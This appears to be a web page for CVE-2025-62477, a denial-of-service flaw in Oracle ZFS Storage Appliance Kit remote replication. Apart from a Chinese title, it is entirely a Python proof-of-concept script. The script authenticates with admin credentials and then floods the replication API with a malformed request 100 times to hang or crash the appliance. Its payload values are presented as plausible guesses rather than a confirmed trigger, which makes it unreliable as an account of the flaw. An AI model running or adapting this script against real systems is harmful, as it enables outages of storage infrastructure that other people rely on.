CVE-2025-62477 Oracle ZFS存储设备套件远程复制拒绝服务漏洞

# CVE-2025-62477 - Oracle ZFS Storage Appliance Kit Remote Replication DoS PoC # This PoC demonstrates a Denial of Service attack against the Remote Replication component # Note: Requires high-privileged credentials (PR:H) to exploit import requests import sys import time # Target configuration TARGET_HOST = "https://target-zfs-appliance:215" USERNAME = "admin" # High-privileged account required PASSWORD = "password123" # Remote Replication API endpoint REPLICATION_ENDPOINT = f"{TARGET_HOST}/api/remote-replication/v1/actions" def authenticate(session, username, password): """Authenticate to the Oracle ZFS Storage Appliance Kit""" login_url = f"{TARGET_HOST}/api/access/v1/tokens" payload = { "username": username, "password": password } headers = { "Content-Type": "application/json" } try: response = session.post(login_url, json=payload, headers=headers, verify=False) if response.status_code == 200 or response.status_code == 201: token = response.json().get("token", "") return token except Exception as e: print(f"[-] Authentication failed: {e}") return None def trigger_dos(session, token): """Trigger the DoS vulnerability in Remote Replication component""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Malformed payload designed to trigger the vulnerability # Sending excessive replication action requests to cause system hang/crash payload = { "action": "replicate", "source": "project1/share1", "target": "project2/share2", "properties": { "bandwidth_limit": "0", # Zero bandwidth limit may cause resource exhaustion "retention": "-1", # Invalid retention value "compression": "invalid", "max_snapshots": 999999999 # Excessive snapshot count } } print("[*] Sending malicious replication request...") for i in range(100): try: response = session.post( REPLICATION_ENDPOINT, json=payload, headers=headers, verify=False, timeout=5 ) print(f"[*] Request {i+1}: Status {response.status_code}") except requests.exceptions.Timeout: print(f"[*] Request {i+1}: Timeout (possible DoS triggered)") except Exception as e: print(f"[*] Request {i+1}: Error - {e}") print("[*] DoS attack completed. Target system may be in hung/crashed state.") def main(): session = requests.Session() print(f"[*] Target: {TARGET_HOST}") print(f"[*] CVE-2025-62477 - Oracle ZFS Storage Appliance Kit DoS PoC") # Step 1: Authenticate print("[*] Authenticating...") token = authenticate(session, USERNAME, PASSWORD) if not token: print("[-] Failed to obtain authentication token") sys.exit(1) print("[+] Authentication successful") # Step 2: Trigger the vulnerability trigger_dos(session, token) if __name__ == "__main__": main()